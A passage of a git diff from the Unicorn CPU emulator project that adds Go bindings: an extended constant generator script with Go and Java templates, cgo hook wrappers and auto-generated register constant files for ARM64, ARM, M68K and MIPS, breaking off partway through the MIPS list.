diff --git a/.gitignore b/.gitignore index c82b9fb1..d1522566 100644 --- a/.gitignore +++ b/.gitignore @@ -84,3 +84,6 @@ regress/map_crash regress/sigill regress/sigill2 regress/block_test +regress/map_write +regress/ro_mem_test +regress/nr_mem_test diff --git a/bindings/Makefile b/bindings/Makefile index 98cdbf16..5fa8e472 100644 --- a/bindings/Makefile +++ b/bindings/Makefile @@ -15,6 +15,7 @@ SAMPLE_X86 = $(TMPDIR)/sample_x86 all: cd python && $(MAKE) gen_const + cd go && $(MAKE) gen_const samples: expected python diff --git a/bindings/const_generator.py b/bindings/const_generator.py index 8bdb1f5a..5a50accf 100644 --- a/bindings/const_generator.py +++ b/bindings/const_generator.py @@ -5,7 +5,7 @@ import sys, re INCL_DIR = '../include/unicorn/' -include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h' ] +include = [ 'arm.h', 'arm64.h', 'mips.h', 'x86.h', 'sparc.h', 'm68k.h', 'unicorn.h' ] template = { 'python': { @@ -20,9 +20,42 @@ template = { 'x86.h': 'x86', 'sparc.h': 'sparc', 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', 'comment_open': '#', 'comment_close': '', }, + 'go': { + 'header': "package unicorn\n// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [%s_const.go]\nconst (\n", + 'footer': ")", + 'line_format': '\t%s = %s\n', + 'out_file': './go/unicorn/%s_const.go', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'arm', + 'arm64.h': 'arm64', + 'mips.h': 'mips', + 'x86.h': 'x86', + 'sparc.h': 'sparc', + 'm68k.h': 'm68k', + 'unicorn.h': 'unicorn', + 'comment_open': '//', + 'comment_close': '', + }, + 'java': { + 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n", + 'footer': "\n}\n", + 'line_format': ' public static final int %s = %s;\n', + 'out_file': './java/unicorn/%sConst.java', + # prefixes for constant filenames of all archs - case sensitive + 'arm.h': 'Arm', + 'arm64.h': 'Arm64', + 'mips.h': 'Mips', + 'x86.h': 'X86', + 'sparc.h': 'Sparc', + 'm68k.h': 'M68k', + 'unicorn.h': 'Unicorn', + 'comment_open': '//', + 'comment_close': '', + }, } # markup for comments to be added to autogen files @@ -35,9 +68,11 @@ def gen(lang): prefix = templ[target] outfile = open(templ['out_file'] %(prefix), 'w') outfile.write(templ['header'] % (prefix)) - + if target == 'unicorn.h': + prefix = '' lines = open(INCL_DIR + target).readlines() + previous = {} count = 0 for line in lines: line = line.strip() @@ -50,17 +85,21 @@ def gen(lang): if line == '' or line.startswith('//'): continue - if not line.startswith("UC_" + prefix.upper()): - continue - tmp = line.strip().split(',') for t in tmp: t = t.strip() if not t or t.startswith('//'): continue f = re.split('\s+', t) + # parse #define UC_TARGET (num) + define = False + if f[0] == '#define' and len(f) >= 3 and f[2].isdigit(): + define = True + f.pop(0) + f.insert(1, '=') + if f[0].startswith("UC_" + prefix.upper()): - if len(f) > 1 and f[1] not in '//=': + if len(f) > 1 and f[1] not in ('//', '='): print("Error: Unable to convert %s" % f) continue elif len(f) > 1 and f[1] == '=': @@ -69,29 +108,31 @@ def gen(lang): rhs = str(count) count += 1 - try: - count = int(rhs) + 1 - if (count == 1): - outfile.write("\n") - except ValueError: - if lang == 'ocaml': - # ocaml uses lsl for '<<', lor for '|' - rhs = rhs.replace('<<', ' lsl ') - rhs = rhs.replace('|', ' lor ') - # ocaml variable has _ as prefix - if rhs[0].isalpha(): - rhs = '_' + rhs + lhs = f[0].strip() + # evaluate bitshifts in constants e.g. "UC_X86 = 1 << 1" + match = re.match(r'(?P\s*\d+\s*<<\s*\d+\s*)', rhs) + if match: + rhs = eval(match.group(1)) + else: + # evaluate references to other constants e.g. "UC_ARM_REG_X = UC_ARM_REG_SP" + match = re.match(r'^([^\d]\w+)$', rhs) + if match: + rhs = previous[match.group(1)] - outfile.write(templ['line_format'] %(f[0].strip(), rhs)) + count = int(rhs) + 1 + if (count == 1): + outfile.write("\n") + outfile.write(templ['line_format'] % (lhs, rhs)) + previous[lhs] = rhs outfile.write(templ['footer']) outfile.close() def main(): - try: - gen(sys.argv[1]) - except: - raise RuntimeError("Unsupported binding %s" % sys.argv[1]) + lang = sys.argv[1] + if not lang in template: + raise RuntimeError("Unsupported binding %s" % lang) + gen(sys.argv[1]) if __name__ == "__main__": if len(sys.argv) < 2: diff --git a/bindings/go/Makefile b/bindings/go/Makefile new file mode 100644 index 00000000..17e450c2 --- /dev/null +++ b/bindings/go/Makefile @@ -0,0 +1,14 @@ +# Go binding for Unicorn engine. Ryan Hileman + +.PHONY: gen_const test + +all: + $(MAKE) gen_const + cd unicorn && go build + $(MAKE) test + +gen_const: + cd .. && python const_generator.py go + +test: + cd unicorn && go test diff --git a/bindings/go/unicorn/arm64_const.go b/bindings/go/unicorn/arm64_const.go new file mode 100644 index 00000000..acc335b5 --- /dev/null +++ b/bindings/go/unicorn/arm64_const.go @@ -0,0 +1,277 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.go] +const ( + +// ARM64 registers + + UC_ARM64_REG_INVALID = 0 + UC_ARM64_REG_X29 = 1 + UC_ARM64_REG_X30 = 2 + UC_ARM64_REG_NZCV = 3 + UC_ARM64_REG_SP = 4 + UC_ARM64_REG_WSP = 5 + UC_ARM64_REG_WZR = 6 + UC_ARM64_REG_XZR = 7 + UC_ARM64_REG_B0 = 8 + UC_ARM64_REG_B1 = 9 + UC_ARM64_REG_B2 = 10 + UC_ARM64_REG_B3 = 11 + UC_ARM64_REG_B4 = 12 + UC_ARM64_REG_B5 = 13 + UC_ARM64_REG_B6 = 14 + UC_ARM64_REG_B7 = 15 + UC_ARM64_REG_B8 = 16 + UC_ARM64_REG_B9 = 17 + UC_ARM64_REG_B10 = 18 + UC_ARM64_REG_B11 = 19 + UC_ARM64_REG_B12 = 20 + UC_ARM64_REG_B13 = 21 + UC_ARM64_REG_B14 = 22 + UC_ARM64_REG_B15 = 23 + UC_ARM64_REG_B16 = 24 + UC_ARM64_REG_B17 = 25 + UC_ARM64_REG_B18 = 26 + UC_ARM64_REG_B19 = 27 + UC_ARM64_REG_B20 = 28 + UC_ARM64_REG_B21 = 29 + UC_ARM64_REG_B22 = 30 + UC_ARM64_REG_B23 = 31 + UC_ARM64_REG_B24 = 32 + UC_ARM64_REG_B25 = 33 + UC_ARM64_REG_B26 = 34 + UC_ARM64_REG_B27 = 35 + UC_ARM64_REG_B28 = 36 + UC_ARM64_REG_B29 = 37 + UC_ARM64_REG_B30 = 38 + UC_ARM64_REG_B31 = 39 + UC_ARM64_REG_D0 = 40 + UC_ARM64_REG_D1 = 41 + UC_ARM64_REG_D2 = 42 + UC_ARM64_REG_D3 = 43 + UC_ARM64_REG_D4 = 44 + UC_ARM64_REG_D5 = 45 + UC_ARM64_REG_D6 = 46 + UC_ARM64_REG_D7 = 47 + UC_ARM64_REG_D8 = 48 + UC_ARM64_REG_D9 = 49 + UC_ARM64_REG_D10 = 50 + UC_ARM64_REG_D11 = 51 + UC_ARM64_REG_D12 = 52 + UC_ARM64_REG_D13 = 53 + UC_ARM64_REG_D14 = 54 + UC_ARM64_REG_D15 = 55 + UC_ARM64_REG_D16 = 56 + UC_ARM64_REG_D17 = 57 + UC_ARM64_REG_D18 = 58 + UC_ARM64_REG_D19 = 59 + UC_ARM64_REG_D20 = 60 + UC_ARM64_REG_D21 = 61 + UC_ARM64_REG_D22 = 62 + UC_ARM64_REG_D23 = 63 + UC_ARM64_REG_D24 = 64 + UC_ARM64_REG_D25 = 65 + UC_ARM64_REG_D26 = 66 + UC_ARM64_REG_D27 = 67 + UC_ARM64_REG_D28 = 68 + UC_ARM64_REG_D29 = 69 + UC_ARM64_REG_D30 = 70 + UC_ARM64_REG_D31 = 71 + UC_ARM64_REG_H0 = 72 + UC_ARM64_REG_H1 = 73 + UC_ARM64_REG_H2 = 74 + UC_ARM64_REG_H3 = 75 + UC_ARM64_REG_H4 = 76 + UC_ARM64_REG_H5 = 77 + UC_ARM64_REG_H6 = 78 + UC_ARM64_REG_H7 = 79 + UC_ARM64_REG_H8 = 80 + UC_ARM64_REG_H9 = 81 + UC_ARM64_REG_H10 = 82 + UC_ARM64_REG_H11 = 83 + UC_ARM64_REG_H12 = 84 + UC_ARM64_REG_H13 = 85 + UC_ARM64_REG_H14 = 86 + UC_ARM64_REG_H15 = 87 + UC_ARM64_REG_H16 = 88 + UC_ARM64_REG_H17 = 89 + UC_ARM64_REG_H18 = 90 + UC_ARM64_REG_H19 = 91 + UC_ARM64_REG_H20 = 92 + UC_ARM64_REG_H21 = 93 + UC_ARM64_REG_H22 = 94 + UC_ARM64_REG_H23 = 95 + UC_ARM64_REG_H24 = 96 + UC_ARM64_REG_H25 = 97 + UC_ARM64_REG_H26 = 98 + UC_ARM64_REG_H27 = 99 + UC_ARM64_REG_H28 = 100 + UC_ARM64_REG_H29 = 101 + UC_ARM64_REG_H30 = 102 + UC_ARM64_REG_H31 = 103 + UC_ARM64_REG_Q0 = 104 + UC_ARM64_REG_Q1 = 105 + UC_ARM64_REG_Q2 = 106 + UC_ARM64_REG_Q3 = 107 + UC_ARM64_REG_Q4 = 108 + UC_ARM64_REG_Q5 = 109 + UC_ARM64_REG_Q6 = 110 + UC_ARM64_REG_Q7 = 111 + UC_ARM64_REG_Q8 = 112 + UC_ARM64_REG_Q9 = 113 + UC_ARM64_REG_Q10 = 114 + UC_ARM64_REG_Q11 = 115 + UC_ARM64_REG_Q12 = 116 + UC_ARM64_REG_Q13 = 117 + UC_ARM64_REG_Q14 = 118 + UC_ARM64_REG_Q15 = 119 + UC_ARM64_REG_Q16 = 120 + UC_ARM64_REG_Q17 = 121 + UC_ARM64_REG_Q18 = 122 + UC_ARM64_REG_Q19 = 123 + UC_ARM64_REG_Q20 = 124 + UC_ARM64_REG_Q21 = 125 + UC_ARM64_REG_Q22 = 126 + UC_ARM64_REG_Q23 = 127 + UC_ARM64_REG_Q24 = 128 + UC_ARM64_REG_Q25 = 129 + UC_ARM64_REG_Q26 = 130 + UC_ARM64_REG_Q27 = 131 + UC_ARM64_REG_Q28 = 132 + UC_ARM64_REG_Q29 = 133 + UC_ARM64_REG_Q30 = 134 + UC_ARM64_REG_Q31 = 135 + UC_ARM64_REG_S0 = 136 + UC_ARM64_REG_S1 = 137 + UC_ARM64_REG_S2 = 138 + UC_ARM64_REG_S3 = 139 + UC_ARM64_REG_S4 = 140 + UC_ARM64_REG_S5 = 141 + UC_ARM64_REG_S6 = 142 + UC_ARM64_REG_S7 = 143 + UC_ARM64_REG_S8 = 144 + UC_ARM64_REG_S9 = 145 + UC_ARM64_REG_S10 = 146 + UC_ARM64_REG_S11 = 147 + UC_ARM64_REG_S12 = 148 + UC_ARM64_REG_S13 = 149 + UC_ARM64_REG_S14 = 150 + UC_ARM64_REG_S15 = 151 + UC_ARM64_REG_S16 = 152 + UC_ARM64_REG_S17 = 153 + UC_ARM64_REG_S18 = 154 + UC_ARM64_REG_S19 = 155 + UC_ARM64_REG_S20 = 156 + UC_ARM64_REG_S21 = 157 + UC_ARM64_REG_S22 = 158 + UC_ARM64_REG_S23 = 159 + UC_ARM64_REG_S24 = 160 + UC_ARM64_REG_S25 = 161 + UC_ARM64_REG_S26 = 162 + UC_ARM64_REG_S27 = 163 + UC_ARM64_REG_S28 = 164 + UC_ARM64_REG_S29 = 165 + UC_ARM64_REG_S30 = 166 + UC_ARM64_REG_S31 = 167 + UC_ARM64_REG_W0 = 168 + UC_ARM64_REG_W1 = 169 + UC_ARM64_REG_W2 = 170 + UC_ARM64_REG_W3 = 171 + UC_ARM64_REG_W4 = 172 + UC_ARM64_REG_W5 = 173 + UC_ARM64_REG_W6 = 174 + UC_ARM64_REG_W7 = 175 + UC_ARM64_REG_W8 = 176 + UC_ARM64_REG_W9 = 177 + UC_ARM64_REG_W10 = 178 + UC_ARM64_REG_W11 = 179 + UC_ARM64_REG_W12 = 180 + UC_ARM64_REG_W13 = 181 + UC_ARM64_REG_W14 = 182 + UC_ARM64_REG_W15 = 183 + UC_ARM64_REG_W16 = 184 + UC_ARM64_REG_W17 = 185 + UC_ARM64_REG_W18 = 186 + UC_ARM64_REG_W19 = 187 + UC_ARM64_REG_W20 = 188 + UC_ARM64_REG_W21 = 189 + UC_ARM64_REG_W22 = 190 + UC_ARM64_REG_W23 = 191 + UC_ARM64_REG_W24 = 192 + UC_ARM64_REG_W25 = 193 + UC_ARM64_REG_W26 = 194 + UC_ARM64_REG_W27 = 195 + UC_ARM64_REG_W28 = 196 + UC_ARM64_REG_W29 = 197 + UC_ARM64_REG_W30 = 198 + UC_ARM64_REG_X0 = 199 + UC_ARM64_REG_X1 = 200 + UC_ARM64_REG_X2 = 201 + UC_ARM64_REG_X3 = 202 + UC_ARM64_REG_X4 = 203 + UC_ARM64_REG_X5 = 204 + UC_ARM64_REG_X6 = 205 + UC_ARM64_REG_X7 = 206 + UC_ARM64_REG_X8 = 207 + UC_ARM64_REG_X9 = 208 + UC_ARM64_REG_X10 = 209 + UC_ARM64_REG_X11 = 210 + UC_ARM64_REG_X12 = 211 + UC_ARM64_REG_X13 = 212 + UC_ARM64_REG_X14 = 213 + UC_ARM64_REG_X15 = 214 + UC_ARM64_REG_X16 = 215 + UC_ARM64_REG_X17 = 216 + UC_ARM64_REG_X18 = 217 + UC_ARM64_REG_X19 = 218 + UC_ARM64_REG_X20 = 219 + UC_ARM64_REG_X21 = 220 + UC_ARM64_REG_X22 = 221 + UC_ARM64_REG_X23 = 222 + UC_ARM64_REG_X24 = 223 + UC_ARM64_REG_X25 = 224 + UC_ARM64_REG_X26 = 225 + UC_ARM64_REG_X27 = 226 + UC_ARM64_REG_X28 = 227 + UC_ARM64_REG_V0 = 228 + UC_ARM64_REG_V1 = 229 + UC_ARM64_REG_V2 = 230 + UC_ARM64_REG_V3 = 231 + UC_ARM64_REG_V4 = 232 + UC_ARM64_REG_V5 = 233 + UC_ARM64_REG_V6 = 234 + UC_ARM64_REG_V7 = 235 + UC_ARM64_REG_V8 = 236 + UC_ARM64_REG_V9 = 237 + UC_ARM64_REG_V10 = 238 + UC_ARM64_REG_V11 = 239 + UC_ARM64_REG_V12 = 240 + UC_ARM64_REG_V13 = 241 + UC_ARM64_REG_V14 = 242 + UC_ARM64_REG_V15 = 243 + UC_ARM64_REG_V16 = 244 + UC_ARM64_REG_V17 = 245 + UC_ARM64_REG_V18 = 246 + UC_ARM64_REG_V19 = 247 + UC_ARM64_REG_V20 = 248 + UC_ARM64_REG_V21 = 249 + UC_ARM64_REG_V22 = 250 + UC_ARM64_REG_V23 = 251 + UC_ARM64_REG_V24 = 252 + UC_ARM64_REG_V25 = 253 + UC_ARM64_REG_V26 = 254 + UC_ARM64_REG_V27 = 255 + UC_ARM64_REG_V28 = 256 + UC_ARM64_REG_V29 = 257 + UC_ARM64_REG_V30 = 258 + UC_ARM64_REG_V31 = 259 + +// pseudo registers + UC_ARM64_REG_PC = 260 + UC_ARM64_REG_ENDING = 261 + +// alias registers + UC_ARM64_REG_IP1 = 215 + UC_ARM64_REG_IP0 = 216 + UC_ARM64_REG_FP = 1 + UC_ARM64_REG_LR = 2 +) \ No newline at end of file diff --git a/bindings/go/unicorn/arm_const.go b/bindings/go/unicorn/arm_const.go new file mode 100644 index 00000000..cb777b52 --- /dev/null +++ b/bindings/go/unicorn/arm_const.go @@ -0,0 +1,128 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.go] +const ( + +// ARM registers + + UC_ARM_REG_INVALID = 0 + UC_ARM_REG_APSR = 1 + UC_ARM_REG_APSR_NZCV = 2 + UC_ARM_REG_CPSR = 3 + UC_ARM_REG_FPEXC = 4 + UC_ARM_REG_FPINST = 5 + UC_ARM_REG_FPSCR = 6 + UC_ARM_REG_FPSCR_NZCV = 7 + UC_ARM_REG_FPSID = 8 + UC_ARM_REG_ITSTATE = 9 + UC_ARM_REG_LR = 10 + UC_ARM_REG_PC = 11 + UC_ARM_REG_SP = 12 + UC_ARM_REG_SPSR = 13 + UC_ARM_REG_D0 = 14 + UC_ARM_REG_D1 = 15 + UC_ARM_REG_D2 = 16 + UC_ARM_REG_D3 = 17 + UC_ARM_REG_D4 = 18 + UC_ARM_REG_D5 = 19 + UC_ARM_REG_D6 = 20 + UC_ARM_REG_D7 = 21 + UC_ARM_REG_D8 = 22 + UC_ARM_REG_D9 = 23 + UC_ARM_REG_D10 = 24 + UC_ARM_REG_D11 = 25 + UC_ARM_REG_D12 = 26 + UC_ARM_REG_D13 = 27 + UC_ARM_REG_D14 = 28 + UC_ARM_REG_D15 = 29 + UC_ARM_REG_D16 = 30 + UC_ARM_REG_D17 = 31 + UC_ARM_REG_D18 = 32 + UC_ARM_REG_D19 = 33 + UC_ARM_REG_D20 = 34 + UC_ARM_REG_D21 = 35 + UC_ARM_REG_D22 = 36 + UC_ARM_REG_D23 = 37 + UC_ARM_REG_D24 = 38 + UC_ARM_REG_D25 = 39 + UC_ARM_REG_D26 = 40 + UC_ARM_REG_D27 = 41 + UC_ARM_REG_D28 = 42 + UC_ARM_REG_D29 = 43 + UC_ARM_REG_D30 = 44 + UC_ARM_REG_D31 = 45 + UC_ARM_REG_FPINST2 = 46 + UC_ARM_REG_MVFR0 = 47 + UC_ARM_REG_MVFR1 = 48 + UC_ARM_REG_MVFR2 = 49 + UC_ARM_REG_Q0 = 50 + UC_ARM_REG_Q1 = 51 + UC_ARM_REG_Q2 = 52 + UC_ARM_REG_Q3 = 53 + UC_ARM_REG_Q4 = 54 + UC_ARM_REG_Q5 = 55 + UC_ARM_REG_Q6 = 56 + UC_ARM_REG_Q7 = 57 + UC_ARM_REG_Q8 = 58 + UC_ARM_REG_Q9 = 59 + UC_ARM_REG_Q10 = 60 + UC_ARM_REG_Q11 = 61 + UC_ARM_REG_Q12 = 62 + UC_ARM_REG_Q13 = 63 + UC_ARM_REG_Q14 = 64 + UC_ARM_REG_Q15 = 65 + UC_ARM_REG_R0 = 66 + UC_ARM_REG_R1 = 67 + UC_ARM_REG_R2 = 68 + UC_ARM_REG_R3 = 69 + UC_ARM_REG_R4 = 70 + UC_ARM_REG_R5 = 71 + UC_ARM_REG_R6 = 72 + UC_ARM_REG_R7 = 73 + UC_ARM_REG_R8 = 74 + UC_ARM_REG_R9 = 75 + UC_ARM_REG_R10 = 76 + UC_ARM_REG_R11 = 77 + UC_ARM_REG_R12 = 78 + UC_ARM_REG_S0 = 79 + UC_ARM_REG_S1 = 80 + UC_ARM_REG_S2 = 81 + UC_ARM_REG_S3 = 82 + UC_ARM_REG_S4 = 83 + UC_ARM_REG_S5 = 84 + UC_ARM_REG_S6 = 85 + UC_ARM_REG_S7 = 86 + UC_ARM_REG_S8 = 87 + UC_ARM_REG_S9 = 88 + UC_ARM_REG_S10 = 89 + UC_ARM_REG_S11 = 90 + UC_ARM_REG_S12 = 91 + UC_ARM_REG_S13 = 92 + UC_ARM_REG_S14 = 93 + UC_ARM_REG_S15 = 94 + UC_ARM_REG_S16 = 95 + UC_ARM_REG_S17 = 96 + UC_ARM_REG_S18 = 97 + UC_ARM_REG_S19 = 98 + UC_ARM_REG_S20 = 99 + UC_ARM_REG_S21 = 100 + UC_ARM_REG_S22 = 101 + UC_ARM_REG_S23 = 102 + UC_ARM_REG_S24 = 103 + UC_ARM_REG_S25 = 104 + UC_ARM_REG_S26 = 105 + UC_ARM_REG_S27 = 106 + UC_ARM_REG_S28 = 107 + UC_ARM_REG_S29 = 108 + UC_ARM_REG_S30 = 109 + UC_ARM_REG_S31 = 110 + UC_ARM_REG_ENDING = 111 + +// alias registers + UC_ARM_REG_R13 = 12 + UC_ARM_REG_R14 = 10 + UC_ARM_REG_R15 = 11 + UC_ARM_REG_SB = 75 + UC_ARM_REG_SL = 76 + UC_ARM_REG_FP = 77 + UC_ARM_REG_IP = 78 +) \ No newline at end of file diff --git a/bindings/go/unicorn/hook.c b/bindings/go/unicorn/hook.c new file mode 100644 index 00000000..e715e1a2 --- /dev/null +++ b/bindings/go/unicorn/hook.c @@ -0,0 +1,30 @@ +#include +#include "_cgo_export.h" + +uc_err uc_hook_add2(uch handle, uch *h2, uc_hook_t type, void *callback, void *user_data, int extra) { + return uc_hook_add(handle, h2, type, callback, user_data, extra); +} + +void hookCode_cgo(uch handle, uint64_t addr, uint32_t size, void *user) { + hookCode(handle, addr, size, user); +} + +bool hookMemInvalid_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user) { + return hookMemInvalid(handle, type, addr, size, value, user); +} + +void hookMemAccess_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user) { + hookMemAccess(handle, type, addr, size, value, user); +} + +uint32_t hookX86In_cgo(uch handle, uint32_t port, uint32_t size, void *user) { + return hookX86In(handle, port, size, user); +} + +void hookX86Out_cgo(uch handle, uint32_t port, uint32_t size, uint32_t value, void *user) { + hookX86Out(handle, port, size, value, user); +} + +void hookX86Syscall_cgo(uch handle, void *user) { + hookX86Syscall(handle, user); +} diff --git a/bindings/go/unicorn/hook.go b/bindings/go/unicorn/hook.go new file mode 100644 index 00000000..b9e3c14b --- /dev/null +++ b/bindings/go/unicorn/hook.go @@ -0,0 +1,92 @@ +package unicorn + +import ( + "errors" + "unsafe" +) + +/* +#include +#include "hook.h" +*/ +import "C" + +type HookData struct { + Uc *Uc + Callback interface{} +} + +//export hookCode +func hookCode(handle C.uch, addr C.uint64_t, size C.uint32_t, user unsafe.Pointer) { + hook := (*HookData)(user) + hook.Callback.(func(*Uc, uint64, uint32))(hook.Uc, uint64(addr), uint32(size)) +} + +//export hookMemInvalid +func hookMemInvalid(handle C.uch, typ C.uc_mem_type, addr C.uint64_t, size int, value C.int64_t, user unsafe.Pointer) C.bool { + hook := (*HookData)(user) + return C.bool(hook.Callback.(func(*Uc, int, uint64, int, int64) bool)(hook.Uc, int(typ), uint64(addr), size, int64(value))) +} + +//export hookMemAccess +func hookMemAccess(handle C.uch, typ C.uc_mem_type, addr C.uint64_t, size int, value C.int64_t, user unsafe.Pointer) { + hook := (*HookData)(user) + hook.Callback.(func(*Uc, int, uint64, int, int64))(hook.Uc, int(typ), uint64(addr), size, int64(value)) +} + +//export hookX86In +func hookX86In(handle C.uch, port, size uint32, user unsafe.Pointer) C.uint32_t { + hook := (*HookData)(user) + return C.uint32_t(hook.Callback.(func(*Uc, uint32, uint32) uint32)(hook.Uc, port, size)) +} + +//export hookX86Out +func hookX86Out(handle C.uch, port, size, value uint32, user unsafe.Pointer) { + hook := (*HookData)(user) + hook.Callback.(func(*Uc, uint32, uint32, uint32))(hook.Uc, uint32(port), uint32(size), uint32(value)) +} + +//export hookX86Syscall +func hookX86Syscall(handle C.uch, user unsafe.Pointer) { + hook := (*HookData)(user) + hook.Callback.(func(*Uc))(hook.Uc) +} + +var hookRetain = make(map[C.uch]*HookData) + +func (u *Uc) HookAdd(htype int, cb interface{}, insn ...int) (C.uch, error) { + var callback unsafe.Pointer + var extra C.int + switch htype { + case UC_HOOK_BLOCK, UC_HOOK_CODE: + callback = C.hookCode_cgo + case UC_HOOK_MEM_INVALID: + callback = C.hookMemInvalid_cgo + case UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE: + callback = C.hookMemAccess_cgo + case UC_HOOK_INSN: + extra = C.int(insn[0]) + switch extra { + case UC_X86_INS_IN: + callback = C.hookX86In_cgo + case UC_X86_INS_OUT: + callback = C.hookX86Out_cgo + case UC_X86_INS_SYSCALL, UC_X86_INS_SYSENTER: + callback = C.hookX86Syscall_cgo + default: + return 0, errors.New("Unknown instruction type.") + } + default: + return 0, errors.New("Unknown hook type.") + } + var h2 C.uch + data := &HookData{u, cb} + C.uc_hook_add2(u.Handle, &h2, C.uc_hook_t(htype), callback, unsafe.Pointer(data), extra) + hookRetain[h2] = data + return h2, nil +} + +func (u *Uc) HookDel(hook *C.uch) error { + delete(hookRetain, *hook) + return errReturn(C.uc_hook_del(u.Handle, hook)) +} diff --git a/bindings/go/unicorn/hook.h b/bindings/go/unicorn/hook.h new file mode 100644 index 00000000..a89d8ec0 --- /dev/null +++ b/bindings/go/unicorn/hook.h @@ -0,0 +1,7 @@ +uc_err uc_hook_add2(uch handle, uch *h2, uc_hook_t type, void *callback, void *user_data, int extra); +void hookCode_cgo(uch handle, uint64_t addr, uint32_t size, void *user); +bool hookMemInvalid_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user); +void hookMemAccess_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user); +uint32_t hookX86In_cgo(uch handle, uint32_t port, uint32_t size, void *user); +void hookX86Out_cgo(uch handle, uint32_t port, uint32_t size, uint32_t value, void *user); +void hookX86Syscall_cgo(uch handle, void *user); diff --git a/bindings/go/unicorn/m68k_const.go b/bindings/go/unicorn/m68k_const.go new file mode 100644 index 00000000..d4699b90 --- /dev/null +++ b/bindings/go/unicorn/m68k_const.go @@ -0,0 +1,27 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.go] +const ( + +// M68K registers + + UC_M68K_REG_INVALID = 0 + UC_M68K_REG_A0 = 1 + UC_M68K_REG_A1 = 2 + UC_M68K_REG_A2 = 3 + UC_M68K_REG_A3 = 4 + UC_M68K_REG_A4 = 5 + UC_M68K_REG_A5 = 6 + UC_M68K_REG_A6 = 7 + UC_M68K_REG_A7 = 8 + UC_M68K_REG_D0 = 9 + UC_M68K_REG_D1 = 10 + UC_M68K_REG_D2 = 11 + UC_M68K_REG_D3 = 12 + UC_M68K_REG_D4 = 13 + UC_M68K_REG_D5 = 14 + UC_M68K_REG_D6 = 15 + UC_M68K_REG_D7 = 16 + UC_M68K_REG_SR = 17 + UC_M68K_REG_PC = 18 + UC_M68K_REG_ENDING = 19 +) \ No newline at end of file diff --git a/bindings/go/unicorn/mips_const.go b/bindings/go/unicorn/mips_const.go new file mode 100644 index 00000000..e15e77be --- /dev/null +++ b/bindings/go/unicorn/mips_const.go @@ -0,0 +1,198 @@ +package unicorn +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.go] +const ( + +// MIPS registers + + UC_MIPS_REG_INVALID = 0 + +// General purpose registers + UC_MIPS_REG_PC = 1 + UC_MIPS_REG_0 = 2 + UC_MIPS_REG_1 = 3 + UC_MIPS_REG_2 = 4 + UC_MIPS_REG_3 = 5 + UC_MIPS_REG_4 = 6 + UC_MIPS_REG_5 = 7 + UC_MIPS_REG_6 = 8 + UC_MIPS_REG_7 = 9 + UC_MIPS_REG_8 = 10 + UC_MIPS_REG_9 = 11 + UC_MIPS_REG_10 = 12 + UC_MIPS_REG_11 = 13 + UC_MIPS_REG_12 = 14 + UC_MIPS_REG_13 = 15 + UC_MIPS_REG_14 = 16 + UC_MIPS_REG_15 = 17 + UC_MIPS_REG_16 = 18 + UC_MIPS_REG_17 = 19 + UC_MIPS_REG_18 = 20 + UC_MIPS_REG_19 = 21 + UC_MIPS_REG_20 = 22 + UC_MIPS_REG_21 = 23 + UC_MIPS_REG_22 = 24 + UC_MIPS_REG_23 = 25 + UC_MIPS_REG_24 = 26 + UC_MIPS_REG_25 = 27 + UC_MIPS_REG_26 = 28 + UC_MIPS_REG_27 = 29 + UC_MIPS_REG_28 = 30 + UC_MIPS_REG_29 = 31 + UC_MIPS_REG_30 = 32 + UC_MIPS_REG_31 = 33 + +// DSP registers + UC_MIPS_REG_DSPCCOND = 34 + UC_MIPS_REG_DSPCARRY = 35 + UC_MIPS_REG_DSPEFI = 36 + UC_MIPS_REG_DSPOUTFLAG = 37 + UC_MIPS_REG_DSPOUTFLAG16_19 = 38 + UC_MIPS_REG_DSPOUTFLAG20 = 39 + UC_MIPS_REG_DSPOUTFLAG21 = 40 + UC_MIPS_REG_DSPOUTFLAG22 = 41 + UC_MIPS_REG_DSPOUTFLAG23 = 42 + UC_MIPS_REG_DSPPOS = 43 + UC_MIPS_REG_DSPSCOUNT = 44 + +// ACC registers + UC_MIPS_REG_AC0 = 45 + UC_MIPS_REG_AC1 = 46 + UC_MIPS_REG_AC2 = 47 + UC_MIPS_REG_AC3 = 48 + +// COP registers + UC_MIPS_REG_CC0 = 49 + UC_MIPS_REG_CC1 = 50 + UC_MIPS_REG_CC2 = 51 + UC_MIPS_REG_CC3 = 52 + UC_MIPS_REG_CC4 = 53 + UC_MIPS_REG_CC5 = 54 + UC_MIPS_REG_CC6 = 55 + UC_MIPS_REG_CC7 = 56 + +// FPU registers + UC_MIPS_REG_F0 = 57 + UC_MIPS_REG_F1 = 58 + UC_MIPS_REG_F2 = 59 + UC_MIPS_REG_F3 = 60 + UC_MIPS_REG_F4 = 61 + UC_MIPS_REG_F5 = 62 + UC_MIPS_REG_F6 = 63 + UC_MIPS_REG_F7 = 64 + UC_MIPS_REG_F8 = 65 + UC_MIPS_REG_F9 = 66 + UC_MIPS_REG_F10 = 67 + UC_MIPS_REG_F11 = 68 + UC_MIPS_REG_F12 = 69 + UC_MIPS_REG_F13 = 70 + UC_MIPS_REG_F14 = 71 + UC_MIPS_REG_F15 = 72 + UC_MIPS_REG_F16 = 73 + UC_MIPS_REG_F17 = 74 + UC_MIPS_REG_F18 = 75 + UC_MIPS_REG_F19 = 76 + UC_MIPS_REG_F20 = 77 + UC_MIPS_REG_F21 = 78 + UC_MIPS_REG_F22 = 79 + UC_MIPS_REG_F23 = 80 + UC_MIPS_REG_F24 = 81 + UC_MIPS_REG_F25 = 82 + UC_MIPS_REG_F26 = 83 + 